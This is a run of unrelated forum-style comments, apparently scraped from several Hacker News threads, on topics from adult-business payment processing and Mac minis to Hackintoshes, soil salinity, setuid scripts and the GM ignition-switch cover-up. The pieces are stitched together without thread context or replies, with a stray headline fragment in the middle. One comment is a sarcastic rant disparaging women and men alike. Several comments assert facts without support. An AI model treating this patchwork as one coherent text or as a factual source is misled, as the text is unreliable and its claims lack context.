It's not just porn sites that are classified as "high risk". Adult retailers are also put into that category.

We rarely get chargebacks. Maybe that's because we focus on a different kind of customer.
I haven't written any sort of history like that, although you can get a few bits of history from looking back at my older blog posts. Tarsnap has always been my full-time job, though; when it was still very small I supplemented it by doing some consulting, but mostly I lived off my savings.
Those things don't fail like that. When you're looking at big projects it seems you should delegate more and more money as you go closer to the control, but it turns out you can't affect the reliability of those measurably with large sums of money: a specialized joystick isn't guaranteed to last a ton more than your avg gamer one. But it should make sense to also make a specialized computer, usb connection, ... It's easy to see the optimal is really the consumer grade stuff, you can just replace broken parts, quite differently from say a satellite, where once it's broken it's done.
After playing the game and reading this, I've realised that drawing cursors must have been an amazing experience. Unfortunately by now, the game is so popular that drawing cursors are disabled, and my experience has been "just a bunch of random cursors moving around without cooperation", unlike the parent's where communication played such an important part. I hope the dev can raise the "room full" limit or split the game to smaller rooms, as by now all players are only experiencing the drawing-less mode of the game.
Glad someone asked, its just the thing we need to innovate!
Facebook tells the DEA it can't use phony profiles to go after suspects
How would a polytunnel be submersible? A poly tunnel is a really flimsy structure. Just going down 10 meters double the pressure (1 bar), and being any shallower isn't going to protect you from the surface water churn. Not to talk about the effort to push thousands of cubic meters of air under water. Not very practical I don't think. :)
The point of the article should be that cyber criminals can now target a particular IP or range of IP through ads by install malware at "safe sites" that the target might browse. So any and everyone is at risk if there's someone after you.

the other dick move is requiring you to buy the top end mini before optioning to a SSD larger than 256g. Its one helluva up charge to go from the mid model to the top one and the only difference is a slightly faster processor; 300 bucks. Add in the cost to add a larger SSD and its just not remotely attractive

If (and I'm not sure photos are included) Apple is telling the truth, the data was secured in transit with their usual SSL, and was encrypted on the user's computer first, then is the data really on Apples' servers at all? They have an encrypted blob with no key, saying they have a copy of it isn't accurate.

If it was a real safe then a) Apple can't prove that the blob doesn't hold a document that a warrant is for, but equally law enforcement can't prove it is there. Unfortunately they can just ask for the whole thing. b) Chain of custody can't be shown by Apple, all they did is take the locked safe from you. I could send a document to the printer and ask you to take it to my boss, what if they received a resignation letter not a weekly report?
Really? Afaik, the main cost for nuclear isn't fuel. A ship like that would run for so long that the initial cost seems quite amortized. Also, simply not having to carry those huge amounts of fuel for weeks/months seems like a big structural design bonus (and compound fuel economy). Care to ellaborate why nuclear doesn't make sense?
I agree. Why not? It doesn't make you any less respectable or a bad person. You might be surprised as to how much you like it!
For that to work the networks themselves would have to securely distribute a list of locations, or it would have to be configurable on the devices. Many business and educational networks (like eduroam) span multiple locations. Even my "home" network is available multiple places (home, cottage, boat...).

Smartphones mostly use wireless networks and cell towers to determine their approximate location, which can be easily spoofed, except for the current active cell (which could be miles away). If devices had to acquire GPS fix every time they reconnected to a network, batteries would drain much faster. And satellite navigation doesn't work properly indoors. Civilian GPS can also be spoofed.

Manufacturers would probably prioritize usability over rectifying such a "problem" which never had bothered anyone before, except maybe if there was PR involved. I think there's still no way to list all configured wireless networks on iOS devices? Fixing this would probably improve privacy more (if people cared) than this randomized MAC feature.

Note that Torvalds' father actually testified before the EU parliament about his son saying he was approached by governments to compromise linux (which happened at linuxconf). People brushed it off as a joke, but that seems really disingenuous. His dad believed him enough to make official testimony before the EU parliament.
No, I think regret is just the other side of paranoia. It's a lack of ability (not necessarily capacity, most likely due to emotional distress) to think through the full consequences of a situation and the opportunities it presents.

When you're paranoid, you're worried about a bad situation without thinking through the ways you could respond to it or fix it if it does happen. If you have planned through what you will do if the worst happens, there's no way to be paranoid about it.

Similarly, it's hard to regret something if you've learned from it and recognize that you never would have learned that lesson if it hadn't happened the way it did. Growth is motivated by responding to problems, not responding to everything going well.
There's a short (3 min) video of how a Jacquard Loom works on the V&A website (V&A = Victoria & Albert Museum, London). There's no sound in the video but it shows, using animation, how patterns are woven into the fabric.

To amplify that observation: ABS was banned from Formula 1 because it made braking too easy. Modern ABS can outperform people who are paid in excess of $40 million/year to be the best drivers in the world, who have unreal reflexes, complete mastery of a vehicle, and the ability to make good decisions under high-pressure driving situations.

The idea the average driver is an adequate substitute for ABS is laughable.
Rainwater isn't distilled water. It has acids in it to make acidic rain. You can distill wine and I'd imagine you'd end up with water, alcohol and a lot less colour.
Same for me. Bought the entry-level g4 mac mini, and it led to another mini, two macbooks, and ipod, iphone, and 3 ipads.
Thanks for the positive feedback! My reasons are:
1) You still want to have the option of a "hard" BR
2) I want to set the HR as a high level class, so I can use it freely through whatever I'm working on.

For example:

<strong>Headline</strong><br>

The quick brown fox jumped <hr>

over the lazy dog.

You 100% want the line break after the headline, and want to set an optional one in the subtext.

I like it because its very clean to look at, but you can also create a responsive class like <div class="desktop-breakline"></div>
Hmm, I was thinking of more recent history than that. Well, fair enough.

I do think it is important to remember that the African American community was pretty happy with the inception of the "War on Drugs" however.

Nah, you just don't need to know the exact pixel width.

For this example, you just need to know that the full sentence is likely to break some place on a large screen, and that the half-sentences are likely to fit without breaking on certain size screens.

Maybe you need the boundaries of likely maximum and minimum pixel widths, you certainly don't need to know the exact pixel width.
I really like this presentation and content. It's accurate, interactive, and brief. Feynman, I think, would be pleased. What these few pages describe are precisely the "atoms" that underly computation, which is truly counter-intuitive, remarkable, and (these days) ubiquitous. (Which describes a lot of things! Black body radiation is my current favorite).

Two suggestions to the author: first, identify yourself on the site! Second, interpret "0" as "STOP" or "RESET" to prevent the simulation from running to infinity. Alternatively, adjust the UI to indicate that the PC is off-screen.
I'm not sure why you've been downvoted. She obviously lacked driving skill. When a vehicle loses power you don't slam on the brakes. Losing power is not a panic situation, especially on a long straight road. You either coast to a stop or gently slow down.
WOW! Looks very interesting!

We are not denying that it's the banks that are the problem. Last I checked, the money that my company generates is as green as the money as an non-adult company makes. It's just a shame that banks and companies that work with those banks, like Stripe, are making blanket statements that all adult related businesses are risk.
The only one on your list which is comparable is the Pinto, where a known fatal fault was cynically ignored because it would be cheaper to keep paying out on lawsuits than fix the problem.
It's not that bad as it was a few years ago. I updated mine today to Yosemite and it was painful but bearable. I bought my hardware with osx86 in mind, it doesn't give me much trouble.

No crashes. Noise and power consumption are dependent on what hardware you pick. I was waiting for the new Minis but seeing them I think I'll just keep my i3, RAM, SDD and get a smaller form factor motherboard and keep using the hackintosh.

It's not really fair to compare a ship to an airplane. What happens if all the engines on this ship stall? You wait a week or so before someone arrives with new engines. In a plane you fall down.

I imagine this is just a big, hollow piece of steel with propellers in the back and room for as many containers as possible.

> Only 15 crew live on the ship when it is at sea, and their living quarters make up the tower that sits under the bridge.

Compare this to a 747, which is designed to transport 350 people through the air.

NUC sucks however. Its way too small.

I think I prefer the slightly larger mini-PCs from Zotec. If I build from scratch, the AMD-based AM1 platforms are superb. $30 socketed miniITX motherboards and $20 chips are great.
I'm really starting to tire of this narrative that we're constantly being fed.

Ok, we get it, women are fantastic and much better at men than everything. Let's change the laws so it's illegal for a man to work, and we'll all retire to being house husbands raising the kids.

Oh wait, the same narrative dictates that we're all worse with kids than women and that we're all potentially sexual predators to the same children.

Men are shit. All Hail Women. Here's to our relegation to sperm farms and/or genocide.

Does the above suffice? Are we happy now?
I use Subtitles for months and it has been pretty good. I wonder what's the parameter to select the best subtitle for the release, I'd suggest that the user badge is more important than the number of downloads.

Lately I've been using Subtitles a bit less because I got a VIP subscription on OpenSubtitles, so when I download from the site I skip ads. Would be incredible to download the subtitles as VIP on Subtitles though.

The Importance of Manually Breaking Lines of

Text.
Increased salinity of soils is a big issue anywhere where groundwater is used for irrigation and there isn't much rain. Literally hundreds of millions of hectares are affected. [1]

We are probably going to have to attack the problem on many fronts simultaneously. If we could get efficient solar powered desalination, or something based on nano materials, that would be great [2], the current RO process is fairly energy intensive.

But you still have to deal with brine, and that is hard unless you are close to the sea. And if you are close to the sea and in a hot area, I'd personally go with Seawater Greenhouse technology instead. It has many side benefits, albeit probably not suitable for staple crops. [3]

What?

Racy code has issues with race conditions. Any error in setuid executables can be very dangerous, so they are strongly discouraged. However, once you've decided that you have to write a setuid program, there's no particular reason to not write it in a scripting language.

As a datapoint, the KDE folks think that using scripting languages for setuid executables is okay:

/usr/lib/kde4/libexec/fileshareset: setuid Perl script, ASCII text executable
In the end I think you will get a salt concentration somewhere. Your compost may not be so usable for example. You provably have to be careful where you put it if you are dealing with any significant volume.
I've built multiple Hackintoshes. They don't crash if you've been smart about part purchases. One of my last two was passively cooled, and I don't care anymore about noise because the machine itself can live in a closet (cable drops outside). And sure, my last Hackintosh drew a lot of power. It was also an i7-875K running at 3.5GHz, which I couldn't get in anything except a $3K Mac Pro at the time. (Total BOM for that machine, which is still in use albeit as a Windows PC: $800.)

But anyway, I don't care about the "increasingly large segment of the market". I care about me. So I don't know why you're fluttering about.

This is awesome.

"You can scroll through memory as well" --> Would be nice to have a scroll-bar because I missed this at first and wondered why there were only 6 bytes of memory. (Would also be nice to see a bit more of the memory at once, although then the instructions might be easy to miss. Maybe a "show more memory" check-box?)

Would also definitely be nice to reset / modify the instruction pointer.

And of course the ability to save/load the CPU state (eg. simple copy/paste to the clipboard.)

Next steps would be to teach about basic I/O, since that's a fundamental part of any computer. (Start with some simulated LEDs/toggle switches that map directly to a special address space?)
I am absolutely in favor of the legalization of marijuana and psychedelics, though I probably would not use them myself even in they were legal. Also, I do not hold out your hope at all that their increased use would herald a renaissance of any kind. This is based on the number of people I know who are habitual pot users, frequently trip, and accomplish absolutely nothing.

Strace is a tool of last resort.

An init system should have a verbose mode that tells you exactly what steps are being taken to start a service and what the result of each step is. Maybe this will come later, but -given the guy's history- it won't be written by Poettering.
I wholly agree.

How about this one:

Girls are doing worse than boys in school, they're not entering college at an equal rate and not graduating at an equal rate? Crisis. Misogyny. Patriarchy.

Fast forward to 2014. Girls are doing better than boys in school. They're entering college at a much higher rate than their male counterparts and graduating also.
Crisis? Misandry? Matriarchy? No, this has been deemed success. A triumph. Something to be celebrated.

Somewhere along the line, the push for equality took a turn down a very wrong road. Would we be hearing about this study if its results suggested that men are better at handling risk under stress than women? I very, very much doubt so.

This study also stripped knowledge or skill from the decision making process, instead relying on a silly gambling game. I would like to see them take a game of skill, such as poker perhaps, and redo the test with say the world's highest ranking male players and female players, and then see the results.

Business, investing, relationships, things concerning the household such as family crisis, etc. are not at all akin to drawing cards from a deck, but that is what this article is likening it to with its inherent suggestions.
Yeah that works, but it creates a lot of code. <hr> is just 4 characters, and reminds me a lot of <br>, so its easy to read. Once you adapt your perspective to it, it becomes really awesome.

Yes seriously.

1) Tax burned is a cost imposed by the government, presumable to cover the cost of externalities. I am not trying to be a jerk when I say I would like to hear what externalities you are thinking about here.
2) This might actually be a real answer. Assuming of course that airports operate at a loss and recoup that loss with things like hotel tax.
3) Safety regulations are not a cost imposed by Airbnb and illegal hotels tend not to have extra inspections.

Zoning rules are again, not imposed by Airbnb. They are imposed by the government presumably to cover some externalities. I can't figure out what those unnamed externalities are, so I asked.

> I think the underlying issue here is you don't care if it has negative economic effects on other people or the city government because "free market".

Again, no. When someone complains about negative effects, but fails to mention what they actually are I think it is perfectly reasonable to ask what those negative effects are.
This is idiotic. Of course we should research viruses. Thoroughly. Of course it's dangerous. So is getting out of bed in the morning; so is driving to work. Not researching viruses is far more dangerous than what he's doing. Life is a series of risk assessments; this is a good one. Asking the question should be a formality for the journalist. Giving it more than a paragraph of coverage is exhibiting ignorance of the most basic level of medical understanding.
Of course there's pressure to follow the schedule. There's also pressure not to kill people with sloppy work. Did you miss the part about fudging the part number, the lying, the cover-up?

I don't understand your second point. Keep in mind that he could have signed off on the faulty part initially, and only after the first reports of a safety issue started trickling in he could have raised holy hell with management and if they did nothing then he could have become a whistleblower. 20% of the problem was initially failing to design a proper switch, but 80% of the problem was how DeGiorgio and GM overall behaved afterwards.

The point is there is a strong regulatory framework which lets you fully and properly fuck your managers and live out a very happy life if they actually try to force you to cover up a mistake like this, but only if you have the ethics to do the right thing. Instead DeGiorgio allegedly spearheaded the cover-up personally.

I've worked at a hardware startup verifying specifications and watched the level of process around BOM changes (it's off the charts compared to software change tracking). I'm really surprised it was even physically possible for DeGiorgio to make the hardware change without changing the part number.

There was one time in my career an engineer fabricated test results because the schedule didn't allow enough time to properly run them. I discovered the falsified results and discovered it, and the engineer was ultimately fired. The next guy in the position worked within the system to properly communicate how long the tests took to run, and the result was that some less critical testing was skipped, and the rest got the appropriate resources to complete them. But you do not get to just lie and say everything was done just because the schedule was unrealistic. Schedules are always unrealistic.
